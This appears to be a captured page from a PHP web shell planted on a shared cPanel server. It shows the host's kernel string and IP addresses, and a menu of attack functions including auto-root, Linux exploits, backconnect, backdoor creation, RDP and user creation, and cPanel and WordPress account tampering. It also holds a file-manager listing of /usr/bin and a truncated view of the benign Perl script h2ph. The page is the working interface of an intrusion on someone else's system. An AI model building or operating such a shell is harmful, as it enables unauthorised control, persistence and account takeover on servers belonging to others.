Linux s3.cpanelhost.co.in 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
LiteSpeed
: 65.108.44.247 | : 216.73.216.217
Cant Read [ /etc/named.conf ]
7.4.33
teac11783
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
GET
15.82
KB
-rwxr-xr-x
[
51.8
KB
-rwxr-xr-x
aclocal
35.52
KB
-rwxr-xr-x
aclocal-1.16
35.52
KB
-rwxr-xr-x
addr2line
27.75
KB
-rwxr-xr-x
agentxtrap
27.31
KB
-rwxr-xr-x
animate
15.27
KB
-rwxr-xr-x
ar
55.98
KB
-rwxr-xr-x
arch
31.66
KB
-rwxr-xr-x
arpaname
15.11
KB
-rwxr-xr-x
as
710.32
KB
-rwxr-xr-x
aspell
151.12
KB
-rwxr-xr-x
at
1.02
KB
-rwxr-xr-x
atq
1.02
KB
-rwxr-xr-x
atrm
1.02
KB
-rwxr-xr-x
autoconf
14.42
KB
-rwxr-xr-x
autoheader
8.33
KB
-rwxr-xr-x
autom4te
31.43
KB
-rwxr-xr-x
automake
251.93
KB
-rwxr-xr-x
automake-1.16
251.93
KB
-rwxr-xr-x
autoreconf
20.57
KB
-rwxr-xr-x
autoscan
16.72
KB
-rwxr-xr-x
autoupdate
33.08
KB
-rwxr-xr-x
awk
698.17
KB
-rwxr-xr-x
b2sum
51.79
KB
-rwxr-xr-x
base32
35.69
KB
-rwxr-xr-x
base64
35.7
KB
-rwxr-xr-x
basename
35.67
KB
-rwxr-xr-x
basenc
48.02
KB
-rwxr-xr-x
bash
1.32
MB
-rwxr-xr-x
bashbug-64
6.91
KB
-rwxr-xr-x
batch
140
B
-rwxr-xr-x
bison
494.76
KB
-rwxr-xr-x
bunzip2
39.62
KB
-rwxr-xr-x
bzcat
39.62
KB
-rwxr-xr-x
bzcmp
2.09
KB
-rwxr-xr-x
bzdiff
2.09
KB
-rwxr-xr-x
bzgrep
2.01
KB
-rwxr-xr-x
bzip2
39.62
KB
-rwxr-xr-x
bzip2recover
15.4
KB
-rwxr-xr-x
bzless
1.23
KB
-rwxr-xr-x
bzmore
1.23
KB
-rwxr-xr-x
c++
1.05
MB
-rwxr-xr-x
c++filt
27.19
KB
-rwxr-xr-x
c89
228
B
-rwxr-xr-x
c99
219
B
-rwxr-xr-x
cagefs_enter.proxied
1.04
KB
-rwxr-xr-x
cal
51.83
KB
-rwxr-xr-x
captoinfo
87.79
KB
-rwxr-xr-x
cat
35.66
KB
-rwxr-xr-x
catchsegv
3.21
KB
-rwxr-xr-x
cc
1.04
MB
-rwxr-xr-x
chcon
60.24
KB
-rwxr-xr-x
chgrp
56.19
KB
-rwxr-xr-x
chmod
56.16
KB
-rwxr-xr-x
chown
60.19
KB
-rwxr-xr-x
chrt
27.31
KB
-rwxr-xr-x
cksum
35.57
KB
-rwxr-xr-x
cldetect
10.34
KB
-rwxr-xr-x
clear
15.15
KB
-rwxr-xr-x
cloudlinux-awp-user
1.78
KB
-rwxr-xr-x
clwpos-user
1.78
KB
-rwxr-xr-x
cmp
40.13
KB
-rwxr-xr-x
col
23.23
KB
-rwxr-xr-x
colcrt
15.19
KB
-rwxr-xr-x
colrm
15.16
KB
-rwxr-xr-x
column
35.34
KB
-rwxr-xr-x
comm
35.75
KB
-rwxr-xr-x
compare
15.27
KB
-rwxr-xr-x
composite
15.27
KB
-rwxr-xr-x
conjure
15.27
KB
-rwxr-xr-x
convert
15.27
KB
-rwxr-xr-x
cp
149.24
KB
-rwxr-xr-x
cpan
8.37
KB
-rwxr-xr-x
cpp
1.05
MB
-rwxr-xr-x
crontab
1.49
KB
-rwxr-xr-x
crontab.cagefs
40.47
KB
-rwxr-xr-x
csplit
108.88
KB
-rwxr-xr-x
curl
248.48
KB
-rwxr-xr-x
cut
47.8
KB
-rwxr-xr-x
cyrusbdb2current
1.58
MB
-rwxr-xr-x
date
104.05
KB
-rwxr-xr-x
dbiprof
6.06
KB
-rwxr-xr-x
dd
68.14
KB
-rwxr-xr-x
delv
45.38
KB
-rwxr-xr-x
df
84.73
KB
-rwxr-xr-x
diff
194.7
KB
-rwxr-xr-x
diff3
52.3
KB
-rwxr-xr-x
dig
136.59
KB
-rwxr-xr-x
dir
137.65
KB
-rwxr-xr-x
dircolors
39.8
KB
-rwxr-xr-x
dirname
31.48
KB
-rwxr-xr-x
display
15.27
KB
-rwxr-xr-x
dnstap-read
23.19
KB
-rwxr-xr-x
du
149.44
KB
-rwxr-xr-x
echo
35.48
KB
-rwxr-xr-x
ed
52.51
KB
-rwxr-xr-x
egrep
32
B
-rwxr-xr-x
enc2xs
40.69
KB
-rwxr-xr-x
enchant
23.73
KB
-rwxr-xr-x
enchant-lsmod
15.8
KB
-rwxr-xr-x
env
44.23
KB
-rwxr-xr-x
eps2eps
643
B
-rwxr-xr-x
eqn
189.52
KB
-rwxr-xr-x
ex
1.38
MB
-rwxr-xr-x
expand
39.73
KB
-rwxr-xr-x
expr
108.6
KB
-rwxr-xr-x
factor
72.05
KB
-rwxr-xr-x
false
27.47
KB
-rwxr-xr-x
fc-cache
139
B
-rwxr-xr-x
fc-cache-64
23.17
KB
-rwxr-xr-x
fc-cat
19.16
KB
-rwxr-xr-x
fc-conflist
15.13
KB
-rwxr-xr-x
fc-list
15.13
KB
-rwxr-xr-x
fc-match
15.13
KB
-rwxr-xr-x
fc-pattern
15.14
KB
-rwxr-xr-x
fc-query
15.13
KB
-rwxr-xr-x
fc-scan
15.14
KB
-rwxr-xr-x
fc-validate
15.14
KB
-rwxr-xr-x
fgrep
32
B
-rwxr-xr-x
file
27.74
KB
-rwxr-xr-x
find
284.95
KB
-rwxr-xr-x
flex
412.64
KB
-rwxr-xr-x
flex++
412.64
KB
-rwxr-xr-x
flock
23.37
KB
-rwxr-xr-x
fmt
39.77
KB
-rwxr-xr-x
fold
39.71
KB
-rwxr-xr-x
free
23.36
KB
-rwxr-xr-x
freetype-config
4.32
KB
-rwxr-xr-x
funzip
31.25
KB
-rwxr-xr-x
g++
1.05
MB
-rwxr-xr-x
gawk
698.17
KB
-rwxr-xr-x
gcc
1.04
MB
-rwxr-xr-x
gcc-ar
27.67
KB
-rwxr-xr-x
gcc-nm
27.64
KB
-rwxr-xr-x
gcc-ranlib
27.67
KB
-rwxr-xr-x
gcov
473.17
KB
-rwxr-xr-x
gcov-dump
291.77
KB
-rwxr-xr-x
gcov-tool
320.46
KB
-rwxr-xr-x
gem
542
B
-rwxr-xr-x
gencat
27.45
KB
-rwxr-xr-x
geoiplookup
15.87
KB
-rwxr-xr-x
geoiplookup6
15.82
KB
-rwxr-xr-x
geqn
189.52
KB
-rwxr-xr-x
getconf
35.23
KB
-rwxr-xr-x
getent
35.86
KB
-rwxr-xr-x
getopt
23.27
KB
-rwxr-xr-x
ghostscript
15.13
KB
-rwxr-xr-x
git
4.06
MB
-rwxr-xr-x
git-receive-pack
4.06
MB
-rwxr-xr-x
git-shell
770.68
KB
-rwxr-xr-x
git-upload-archive
4.06
MB
-rwxr-xr-x
git-upload-pack
4.06
MB
-rwxr-xr-x
gm
15.67
KB
-rwxr-xr-x
gmake
249.8
KB
-rwxr-xr-x
gneqn
916
B
-rwxr-xr-x
gnroff
3.21
KB
-rwxr-xr-x
gpg
1.07
MB
-rwxr-xr-x
gpg-agent
342.27
KB
-rwxr-xr-x
gpg-error
36.1
KB
-rwxr-xr-x
gpgsplit
27.5
KB
-rwxr-xr-x
gpgv
295.43
KB
-rwxr-xr-x
gpic
201.72
KB
-rwxr-xr-x
gprof
101.48
KB
-rwxr-xr-x
grep
154.49
KB
-rwxr-xr-x
groff
96.77
KB
-rwxr-xr-x
grops
167.26
KB
-rwxr-xr-x
grotty
122.2
KB
-rwxr-xr-x
groups
35.66
KB
-rwxr-xr-x
gs
15.13
KB
-rwxr-xr-x
gsnd
281
B
-rwxr-xr-x
gtar
518.16
KB
-rwxr-xr-x
gtbl
130.86
KB
-rwxr-xr-x
gtroff
732.07
KB
-rwxr-xr-x
gunzip
2.29
KB
-rwxr-xr-x
gzexe
6.3
KB
-rwxr-xr-x
gzip
89.63
KB
-rwxr-xr-x
h2ph
28.69
KB
-rwxr-xr-x
h2xs
59.5
KB
-rwxr-xr-x
head
43.8
KB
-rwxr-xr-x
hexdump
51.41
KB
-rwxr-xr-x
host
108.57
KB
-rwxr-xr-x
hostid
31.66
KB
-rwxr-xr-x
hostname
23.84
KB
-rwxr-xr-x
hunspell
102.67
KB
-rwxr-xr-x
iconv
64.09
KB
-rwxr-xr-x
icu-config
205
B
-rwxr-xr-x
icu-config-64
21.67
KB
-rwxr-xr-x
icuinfo
15.49
KB
-rwxr-xr-x
id
39.71
KB
-rwxr-xr-x
identify
15.27
KB
-rwxr-xr-x
idn
36.46
KB
-rwxr-xr-x
ifnames
4.03
KB
-rwxr-xr-x
import
15.27
KB
-rwxr-xr-x
infocmp
63.68
KB
-rwxr-xr-x
infotocap
87.79
KB
-rwxr-xr-x
install
149.29
KB
-rwxr-xr-x
instmodsh
4.1
KB
-rwxr-xr-x
ionice
15.21
KB
-rwxr-xr-x
ipcrm
19.23
KB
-rwxr-xr-x
ipcs
39.34
KB
-rwxr-xr-x
isosize
15.16
KB
-rwxr-xr-x
ispell
992
B
-rwxr-xr-x
join
51.9
KB
-rwxr-xr-x
kill
31.29
KB
-rwxr-xr-x
ld
1.71
MB
-rwxr-xr-x
ld.bfd
1.71
MB
-rwxr-xr-x
ldd
5.32
KB
-rwxr-xr-x
less
197.7
KB
-rwxr-xr-x
lessecho
15.17
KB
-rwxr-xr-x
lesskey
24.61
KB
-rwxr-xr-x
lesspipe.sh
3.5
KB
-rwxr-xr-x
lex
412.64
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
libtool
359.18
KB
-rwxr-xr-x
libtoolize
126.17
KB
-rwxr-xr-x
link
31.66
KB
-rwxr-xr-x
ln
60.16
KB
-rwxr-xr-x
locale
59.08
KB
-rwxr-xr-x
localedef
314.06
KB
-rwxr-xr-x
logger
35.98
KB
-rwxr-xr-x
login
43.45
KB
-rwxr-xr-x
logname
31.66
KB
-rwxr-xr-x
look
19.17
KB
-rwxr-xr-x
ls
137.64
KB
-rwxr-xr-x
lto-dump
26.59
MB
-rwxr-xr-x
m4
240.4
KB
-rwxr-xr-x
make
249.8
KB
-rwxr-xr-x
make-dummy-cert
614
B
-rwxr-xr-x
mariadb
5.3
MB
-rwxr-xr-x
mariadb-access
109.34
KB
-rwxr-xr-x
mariadb-admin
4.85
MB
-rwxr-xr-x
mariadb-binlog
5.13
MB
-rwxr-xr-x
mariadb-check
4.84
MB
-rwxr-xr-x
mariadb-conv
4.56
MB
-rwxr-xr-x
mariadb-convert-table-format
4.12
KB
-rwxr-xr-x
mariadb-dump
4.94
MB
-rwxr-xr-x
mariadb-dumpslow
8.05
KB
-rwxr-xr-x
mariadb-embedded
24.31
MB
-rwxr-xr-x
mariadb-find-rows
3.21
KB
-rwxr-xr-x
mariadb-hotcopy
34.53
KB
-rwxr-xr-x
mariadb-import
4.84
MB
-rwxr-xr-x
mariadb-plugin
4.54
MB
-rwxr-xr-x
mariadb-secure-installation
13.49
KB
-rwxr-xr-x
mariadb-setpermission
17.56
KB
-rwxr-xr-x
mariadb-show
4.83
MB
-rwxr-xr-x
mariadb-slap
4.86
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
4.53
MB
-rwxr-xr-x
mariadb-waitpid
4.52
MB
-rwxr-xr-x
mcookie
27.31
KB
-rwxr-xr-x
md5sum
39.64
KB
-rwxr-xr-x
mesg
15.14
KB
-rwxr-xr-x
mkdir
68.31
KB
-rwxr-xr-x
mkfifo
39.83
KB
-rwxr-xr-x
mknod
43.88
KB
-rwxr-xr-x
mktemp
39.8
KB
-rwxr-xr-x
mogrify
15.27
KB
-rwxr-xr-x
montage
15.27
KB
-rwxr-xr-x
more
43.43
KB
-rwxr-xr-x
msql2mysql
1.42
KB
-rwxr-xr-x
mv
141.17
KB
-rwxr-xr-x
my_print_defaults
4.53
MB
-rwxr-xr-x
mysql
5.3
MB
-rwxr-xr-x
mysql_config
4.5
KB
-rwxr-xr-x
mysql_find_rows
3.21
KB
-rwxr-xr-x
mysql_waitpid
4.52
MB
-rwxr-xr-x
mysqlaccess
109.34
KB
-rwxr-xr-x
mysqladmin
4.85
MB
-rwxr-xr-x
mysqlbinlog
5.13
MB
-rwxr-xr-x
mysqlcheck
4.84
MB
-rwxr-xr-x
mysqldump
4.94
MB
-rwxr-xr-x
mysqlimport
4.84
MB
-rwxr-xr-x
mysqlshow
4.83
MB
-rwxr-xr-x
mytop
71.95
KB
-rwxr-xr-x
namei
23.23
KB
-rwxr-xr-x
nano
346.2
KB
-rwxr-xr-x
neqn
916
B
-rwxr-xr-x
net-snmp-create-v3-user
3.23
KB
-rwxr-xr-x
nice
35.67
KB
-rwxr-xr-x
nl
100.71
KB
-rwxr-xr-x
nm
44.73
KB
-rwxr-xr-x
nohup
35.58
KB
-rwxr-xr-x
nproc
35.69
KB
-rwxr-xr-x
nroff
3.21
KB
-rwxr-xr-x
nslookup
112.52
KB
-rwxr-xr-x
nsupdate
71.8
KB
-rwxr-xr-x
numfmt
55.83
KB
-rwxr-xr-x
objcopy
185.37
KB
-rwxr-xr-x
objdump
413.11
KB
-rwxr-xr-x
od
64.06
KB
-rwxr-xr-x
openssl
1.07
MB
-rwxr-xr-x
pango-list
19.11
KB
-rwxr-xr-x
pango-segmentation
19.13
KB
-rwxr-xr-x
pango-view
60.17
KB
-rwxr-xr-x
passenger
1.73
KB
-rwxr-xr-x
passwd
1.02
KB
-rwxr-xr-x
paste
35.58
KB
-rwxr-xr-x
patch
195.02
KB
-rwxr-xr-x
pathchk
35.66
KB
-rwxr-xr-x
pdf2dsc
701
B
-rwxr-xr-x
pdf2ps
913
B
-rwxr-xr-x
perl
15.13
KB
-rwxr-xr-x
perl5.32.1
15.13
KB
-rwxr-xr-x
perlbug
43.81
KB
-rwxr-xr-x
perldoc
118
B
-rwxr-xr-x
perlivp
10.56
KB
-rwxr-xr-x
perlml
14.49
KB
-rwxr-xr-x
perlthanks
43.81
KB
-rwxr-xr-x
pgrep
31.42
KB
-rwxr-xr-x
php
937
B
-rwxr-xr-x
pic
201.72
KB
-rwxr-xr-x
piconv
8.08
KB
-rwxr-xr-x
ping
89.33
KB
-rwxr-xr-x
pinky
35.61
KB
-rwxr-xr-x
pkg-config
335
B
-rwxr-xr-x
pkill
31.42
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pmap
35.39
KB
-rwxr-xr-x
pod2html
4.04
KB
-rwxr-xr-x
pod2man
14.68
KB
-rwxr-xr-x
pod2text
10.55
KB
-rwxr-xr-x
pod2usage
4.01
KB
-rwxr-xr-x
podchecker
3.57
KB
-rwxr-xr-x
post-grohtml
199.76
KB
-rwxr-xr-x
pr
72.28
KB
-rwxr-xr-x
pre-grohtml
92.92
KB
-rwxr-xr-x
precat
5.53
KB
-rwxr-xr-x
preunzip
5.53
KB
-rwxr-xr-x
prezip
5.53
KB
-rwxr-xr-x
prezip-bin
15.69
KB
-rwxr-xr-x
printenv
31.47
KB
-rwxr-xr-x
printf
51.77
KB
-rwxr-xr-x
prove
13.24
KB
-rwxr-xr-x
ps
141.15
KB
-rwxr-xr-x
ps2ascii
635
B
-rwxr-xr-x
ps2epsi
1.24
KB
-rwxr-xr-x
ps2pdf
276
B
-rwxr-xr-x
ps2pdf12
219
B
-rwxr-xr-x
ps2pdf13
219
B
-rwxr-xr-x
ps2pdf14
219
B
-rwxr-xr-x
ps2pdfwr
1.06
KB
-rwxr-xr-x
ps2ps
651
B
-rwxr-xr-x
ps2ps2
673
B
-rwxr-xr-x
ptx
129.03
KB
-rwxr-xr-x
pwd
35.7
KB
-rwxr-xr-x
pwdx
15.28
KB
-rwxr-xr-x
pydoc
78
B
-rwxr-xr-x
pydoc3
78
B
-rwxr-xr-x
pydoc3.9
78
B
-rwxr-xr-x
python
15.09
KB
-rwxr-xr-x
python3
15.09
KB
-rwxr-xr-x
python3.9
15.09
KB
-rwxr-xr-x
ranlib
56
KB
-rwxr-xr-x
readelf
667.29
KB
-rwxr-xr-x
readlink
39.69
KB
-rwxr-xr-x
realpath
39.77
KB
-rwxr-xr-x
recode
31.93
KB
-rwxr-xr-x
red
92
B
-rwxr-xr-x
rename
23.23
KB
-rwxr-xr-x
renew-dummy-cert
729
B
-rwxr-xr-x
renice
15.16
KB
-rwxr-xr-x
replace
4.5
MB
-rwxr-xr-x
reset
27.34
KB
-rwxr-xr-x
rev
15.16
KB
-rwxr-xr-x
rm
60.21
KB
-rwxr-xr-x
rmdir
43.61
KB
-rwxr-xr-x
rnano
346.2
KB
-rwxr-xr-x
ruby
15.27
KB
-rwxr-xr-x
run-with-aspell
89
B
-rwxr-xr-x
runcon
35.65
KB
-rwxr-xr-x
rvi
1.38
MB
-rwxr-xr-x
rview
1.38
MB
-rwxr-xr-x
rvim
3.84
MB
-rwxr-xr-x
scalar
819.34
KB
-rwxr-xr-x
scl
39.55
KB
-rwxr-xr-x
scl_enabled
262
B
-rwxr-xr-x
scl_source
1.88
KB
-rwxr-xr-x
scp
132.93
KB
-rwxr-xr-x
script
51.58
KB
-rwxr-xr-x
sdiff
44.2
KB
-rwxr-xr-x
sed
114.01
KB
-rwxr-xr-x
selectorctl
7.63
KB
-rwxr-xr-x
seq
47.79
KB
-rwxr-xr-x
setsid
15.15
KB
-rwxr-xr-x
setterm
35.33
KB
-rwxr-xr-x
sftp
140.93
KB
-rwxr-xr-x
sh
1.32
MB
-rwxr-xr-x
sha1sum
39.64
KB
-rwxr-xr-x
sha224sum
39.64
KB
-rwxr-xr-x
sha256sum
39.64
KB
-rwxr-xr-x
sha384sum
39.64
KB
-rwxr-xr-x
sha512sum
39.64
KB
-rwxr-xr-x
shred
51.88
KB
-rwxr-xr-x
shuf
48.01
KB
-rwxr-xr-x
size
31.61
KB
-rwxr-xr-x
skill
31.4
KB
-rwxr-xr-x
slabtop
23.42
KB
-rwxr-xr-x
sleep
35.65
KB
-rwxr-xr-x
snice
31.4
KB
-rwxr-xr-x
snmpconf
25.44
KB
-rwxr-xr-x
sort
113.09
KB
-rwxr-xr-x
spell
125
B
-rwxr-xr-x
splain
18.96
KB
-rwxr-xr-x
split
52.31
KB
-rwxr-xr-x
sprof
35.45
KB
-rwxr-xr-x
sqlite3
1.54
MB
-rwxr-xr-x
ssh
843.39
KB
-rwxr-xr-x
ssh-add
164.73
KB
-rwxr-xr-x
ssh-agent
280.88
KB
-rwxr-xr-x
ssh-copy-id
12.38
KB
-rwxr-xr-x
ssh-keygen
454.85
KB
-rwxr-xr-x
ssh-keyscan
197.29
KB
-rwxr-xr-x
stat
80.06
KB
-rwxr-xr-x
stdbuf
43.74
KB
-rwxr-xr-x
strace
2.08
MB
-rwxr-xr-x
stream
15.27
KB
-rwxr-xr-x
strings
31.74
KB
-rwxr-xr-x
strip
185.37
KB
-rwxr-xr-x
stty
75.83
KB
-rwxr-xr-x
sum
35.59
KB
-rwxr-xr-x
sync
35.54
KB
-rwxr-xr-x
tabs
19.16
KB
-rwxr-xr-x
tac
104.6
KB
-rwxr-xr-x
tail
68.09
KB
-rwxr-xr-x
tar
518.16
KB
-rwxr-xr-x
taskset
23.23
KB
-rwxr-xr-x
tbl
130.86
KB
-rwxr-xr-x
tclsh
15.69
KB
-rwxr-xr-x
tclsh8.6
15.69
KB
-rwxr-xr-x
tee
35.69
KB
-rwxr-xr-x
test
43.79
KB
-rwxr-xr-x
tic
87.79
KB
-rwxr-xr-x
timeout
40.17
KB
-rwxr-xr-x
tload
19.34
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
toe
23.23
KB
-rwxr-xr-x
top
132.27
KB
-rwxr-xr-x
touch
92.03
KB
-rwxr-xr-x
tput
27.25
KB
-rwxr-xr-x
tr
47.87
KB
-rwxr-xr-x
troff
732.07
KB
-rwxr-xr-x
true
27.47
KB
-rwxr-xr-x
truncate
35.66
KB
-rwxr-xr-x
tset
27.34
KB
-rwxr-xr-x
tsort
47.79
KB
-rwxr-xr-x
tty
31.65
KB
-rwxr-xr-x
tzselect
14.99
KB
-rwxr-xr-x
uapi
1.02
KB
-rwxr-xr-x
ul
23.26
KB
-rwxr-xr-x
uname
31.66
KB
-rwxr-xr-x
unexpand
39.73
KB
-rwxr-xr-x
uniq
43.83
KB
-rwxr-xr-x
unlink
31.66
KB
-rwxr-xr-x
unzip
195.95
KB
-rwxr-xr-x
unzipsfx
87.7
KB
-rwxr-xr-x
uptime
15.29
KB
-rwxr-xr-x
users
35.68
KB
-rwxr-xr-x
utmpdump
23.21
KB
-rwxr-xr-x
vdir
137.65
KB
-rwxr-xr-x
vi
691
B
-rwxr-xr-x
view
150
B
-rwxr-xr-x
vim
3.84
MB
-rwxr-xr-x
vimdiff
3.84
MB
-rwxr-xr-x
vimtutor
2.07
KB
-rwxr-xr-x
vmstat
39.41
KB
-rwxr-xr-x
watch
27.87
KB
-rwxr-xr-x
wc
43.73
KB
-rwxr-xr-x
wget
521.41
KB
-rwxr-xr-x
whereis
31.84
KB
-rwxr-xr-x
which
27.89
KB
-rwxr-xr-x
who
51.77
KB
-rwxr-xr-x
whoami
31.66
KB
-rwxr-xr-x
word-list-compress
15.7
KB
-rwxr-xr-x
x86_64-redhat-linux-c++
1.05
MB
-rwxr-xr-x
x86_64-redhat-linux-g++
1.05
MB
-rwxr-xr-x
x86_64-redhat-linux-gcc
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-gcc-11
1.04
MB
-rwxr-xr-x
xargs
64.09
KB
-rwxr-xr-x
xmlcatalog
23.15
KB
-rwxr-xr-x
xmllint
80.56
KB
-rwxr-xr-x
xmlwf
39.63
KB
-rwxr-xr-x
xsltproc
31.23
KB
-rwxr-xr-x
xsubpp
4.96
KB
-rwxr-xr-x
xxd
19.31
KB
-rwxr-xr-x
yes
31.51
KB
-rwxr-xr-x
zcat
1.94
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.31
KB
-rwxr-xr-x
zegrep
33
B
-rwxr-xr-x
zfgrep
33
B
-rwxr-xr-x
zforce
2.04
KB
-rwxr-xr-x
zgrep
7.93
KB
-rwxr-xr-x
zip
221.09
KB
-rwxr-xr-x
zipcloak
75.7
KB
-rwxr-xr-x
zipgrep
2.89
KB
-rwxr-xr-x
zipinfo
195.95
KB
-rwxr-xr-x
zipnote
67.61
KB
-rwxr-xr-x
zipsplit
63.58
KB
-rwxr-xr-x
zless
2.16
KB
-rwxr-xr-x
zmore
1.8
KB
-rwxr-xr-x
znew
4.47
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : h2ph
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if $running_under_some_shell; BEGIN { pop @INC if $INC[-1] eq '.' } use strict; use Config; use File::Path qw(mkpath); use Getopt::Std; # Make sure read permissions for all are set: if (defined umask && (umask() & 0444)) { umask (umask() & ~0444); } getopts('Dd:rlhaQe'); use vars qw($opt_D $opt_d $opt_r $opt_l $opt_h $opt_a $opt_Q $opt_e); die "-r and -a options are mutually exclusive\n" if ($opt_r and $opt_a); my @inc_dirs = inc_dirs() if $opt_a; my $Exit = 0; my $Dest_dir = $opt_d || $Config{installsitearch}; die "Destination directory $Dest_dir doesn't exist or isn't a directory\n" unless -d $Dest_dir; my @isatype = qw( char uchar u_char short ushort u_short int uint u_int long ulong u_long FILE key_t caddr_t float double size_t ); my %isatype; @isatype{@isatype} = (1) x @isatype; my $inif = 0; my %Is_converted; my %bad_file = (); @ARGV = ('-') unless @ARGV; build_preamble_if_necessary(); sub reindent($) { my($text) = shift; $text =~ s/\n/\n /g; $text =~ s/ /\t/g; $text; } my ($t, $tab, %curargs, $new, $eval_index, $dir, $name, $args, $outfile); my ($incl, $incl_type, $incl_quote, $next); while (defined (my $file = next_file())) { if (-l $file and -d $file) { link_if_possible($file) if ($opt_l); next; } # Recover from header files with unbalanced cpp directives $t = ''; $tab = 0; # $eval_index goes into '#line' directives, to help locate syntax errors: $eval_index = 1; if ($file eq '-') { open(IN, "-"); open(OUT, ">-"); } else { ($outfile = $file) =~ s/\.h$/.ph/ || next; print "$file -> $outfile\n" unless $opt_Q; if ($file =~ m|^(.*)/|) { $dir = $1; mkpath "$Dest_dir/$dir"; } if ($opt_a) { # automagic mode: locate header file in @inc_dirs foreach (@inc_dirs) { chdir $_; last if -f $file; } } open(IN, "<", "$file") || (($Exit = 1),(warn "Can't open $file: $!\n"),next); open(OUT, ">", "$Dest_dir/$outfile") || die "Can't create $outfile: $!\n"; } print OUT "require '_h2ph_pre.ph';\n\n", "no warnings qw(redefine misc);\n\n"; while (defined (local $_ = next_line($file))) { if (s/^\s*\#\s*//) { if (s/^define\s+(\w+)//) { $name = $1; $new = ''; s/\s+$//; s/\(\w+\s*\(\*\)\s*\(\w*\)\)\s*(-?\d+)/$1/; # (int (*)(foo_t))0 if (s/^\(([\w,\s]*)\)//) { $args = $1; my $proto = '() '; if ($args ne '') { $proto = ''; foreach my $arg (split(/,\s*/,$args)) { $arg =~ s/^\s*([^\s].*[^\s])\s*$/$1/; $curargs{$arg} = 1; } $args =~ s/\b(\w)/\$$1/g; $args = "my($args) = \@_;\n$t "; } s/^\s+//; expr(); $new =~ s/(["\\])/\\$1/g; #"]); EMIT($proto); } else { s/^\s+//; expr(); $new = 1 if $new eq ''; # Shunt around such directives as '#define FOO FOO': next if $new =~ /^\s*&\Q$name\E\s*\z/; $new = reindent($new); $args = reindent($args); $new =~ s/(['\\])/\\$1/g; #']); print OUT $t, 'eval '; if ($opt_h) { print OUT "\"\\n#line $eval_index $outfile\\n\" . "; $eval_index++; } print OUT "'sub $name () {$new;}' unless defined(&$name);\n"; } } elsif (/^(include|import|include_next)\s*([<\"])(.*)[>\"]/) { $incl_type = $1; $incl_quote = $2; $incl = $3; if (($incl_type eq 'include_next') || ($opt_e && exists($bad_file{$incl}))) { $incl =~ s/\.h$/.ph/; print OUT ($t, "eval {\n"); $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT ($t, "my(\@REM);\n"); if ($incl_type eq 'include_next') { print OUT ($t, "my(\%INCD) = map { \$INC{\$_} => 1 } ", "(grep { \$_ eq \"$incl\" } ", "keys(\%INC));\n"); print OUT ($t, "\@REM = map { \"\$_/$incl\" } ", "(grep { not exists(\$INCD{\"\$_/$incl\"})", " and -f \"\$_/$incl\" } \@INC);\n"); } else { print OUT ($t, "\@REM = map { \"\$_/$incl\" } ", "(grep {-r \"\$_/$incl\" } \@INC);\n"); } print OUT ($t, "require \"\$REM[0]\" if \@REM;\n"); $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT ($t, "};\n"); print OUT ($t, "warn(\$\@) if \$\@;\n"); } else { $incl =~ s/\.h$/.ph/; # copy the prefix in the quote syntax (#include "x.h") case if ($incl !~ m|/| && $incl_quote eq q{"} && $file =~ m|^(.*)/|) { $incl = "$1/$incl"; } print OUT $t,"require '$incl';\n"; } } elsif (/^ifdef\s+(\w+)/) { print OUT $t,"if(defined(&$1)) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (/^ifndef\s+(\w+)/) { print OUT $t,"unless(defined(&$1)) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (s/^if\s+//) { $new = ''; $inif = 1; expr(); $inif = 0; print OUT $t,"if($new) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (s/^elif\s+//) { $new = ''; $inif = 1; expr(); $inif = 0; $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT $t,"}\n elsif($new) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (/^else/) { $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT $t,"} else {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (/^endif/) { $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT $t,"}\n"; } elsif(/^undef\s+(\w+)/) { print OUT $t, "undef(&$1) if defined(&$1);\n"; } elsif(/^error\s+(".*")/) { print OUT $t, "die($1);\n"; } elsif(/^error\s+(.*)/) { print OUT $t, "die(\"", quotemeta($1), "\");\n"; } elsif(/^warning\s+(.*)/) { print OUT $t, "warn(\"", quotemeta($1), "\");\n"; } elsif(/^ident\s+(.*)/) { print OUT $t, "# $1\n"; } } elsif (/^\s*(typedef\s*)?enum\s*(\s+[a-zA-Z_]\w*\s*)?/) { # { for vi until(/\{[^}]*\}.*;/ || /;/) { last unless defined ($next = next_line($file)); chomp $next; # drop "#define FOO FOO" in enums $next =~ s/^\s*#\s*define\s+(\w+)\s+\1\s*$//; # #defines in enums (aliases) $next =~ s/^\s*#\s*define\s+(\w+)\s+(\w+)\s*$/$1 = $2,/; $_ .= $next; print OUT "# $next\n" if $opt_D; } s/#\s*if.*?#\s*endif//g; # drop #ifdefs s@/\*.*?\*/@@g; s/\s+/ /g; next unless 